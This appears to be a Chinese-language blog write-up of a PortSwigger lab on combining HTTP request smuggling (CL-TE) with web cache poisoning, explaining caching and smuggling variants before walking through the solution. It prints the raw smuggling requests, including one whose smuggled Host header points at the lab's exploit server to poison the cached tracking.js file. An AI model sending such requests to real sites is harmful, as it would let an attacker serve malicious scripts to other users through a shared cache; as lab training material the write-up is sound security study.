Http-Sumggling-緩存漏洞
當http請求走私和web緩存碰到一起會產生什么樣的火花呢,讓我們看看
在接觸Http Sumggling 緩存漏洞前,我們需要先對Http Sumggling和Web緩存有所了解。
什么是Web緩存
WEB緩存就是指網站的靜態文件,比如圖片、CSS、JS等,在網站訪問的時候,服務器會將這些文件緩存起來,以便下次訪問時直接從緩存中讀取,不需要再次請求服務器。
緩存位于服務器和客戶端之間,通常出于優化用戶瀏覽體驗或其他原因以減少對服務器的訪問而設定的在固定時間內保存且針對特定請求的響應,常見的緩存點有
?后端程序緩存
?服務器緩存
?瀏覽器緩存
?緩存服務器
?CDN緩存
最常見的無疑就是CDN及其類似的緩存服務器
而為了讓緩存判斷是否需要提供緩存內容,在http請求中會存在緩存鍵 X-Cache,緩存鍵叫什么決定于架構師,但都是一個概念

什么是web緩存漏洞
如上圖所示,假設小紫小黃小綠都在服務器劃分的同一批特定請求中,那么小紫一開始訪問服務器時,經過緩存鍵X-Cache: Miss的判定,是首次訪問,所以直接連接到Server服務器,而其后的小黃、小綠再次訪問相同的文件時就會被判定為X-Cache: Hit,即只需連接Cache緩存服務器,不再連接到Server服務器,借此減少了Server服務器的運行負荷
這無疑是一個很不錯的設計,但一旦被有心之士利用,那就會發生一些不好的事情了

如圖,當攻擊者改了一些包發送到后端,導致后端返回一些惡意數據,比如xss、注入等問題,而由于緩存的機制,后續的正常用戶訪問時就會讀取緩存服務器的惡意緩存,這就是常見的web緩存漏洞,也叫緩存投毒
Http Sumggling
HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術,其漏洞的主要形成原因是不同的服務器對于RFC標準的具體實現不一而導致的
一般可分為以下幾種
?CL: Content-Length
?TE: Transfer-Encoding
?CL不為0的GET請求
?CL-CL
?CL-TE
?TE-CL
?TE-TE
在mengchen@知道創宇404實驗室的文章中有了十分詳細的論述,我這就不再贅述
https://paper.seebug.org/1048/#35-te-te
Http Sumggling 緩存漏洞
靶場
依舊以Lab: Exploiting HTTP request smuggling to perform web cache poisoning為靶場
解法
判斷是否存在走私,確定為CL-TE
POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10 x=1
第一次請求為
POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked

第二次請求為下半段
GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10 x=1

可以看到存在302跳轉
然后我們需要找到哪里進行緩存投毒,這里我以/resources/js/tracking.js進行投du


可以看到X-Cache為miss,這樣我們就可以利用修改,進行緩存投du
?先點擊send post
POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10 x=1
訪問到第一部分

?然后在/resources/js/tracking.js send包

可以發現成功投du,緩存鍵為miss,那下一個包應該就可以成功轉接到exploit上,我們試試
?對原界面進行抓包,多試幾次

發現host成功變為我們的exploit
后言
漏洞越來越多,也會越來越復雜,不再是單一的某種漏洞這么簡單,多種漏洞復合是未來標志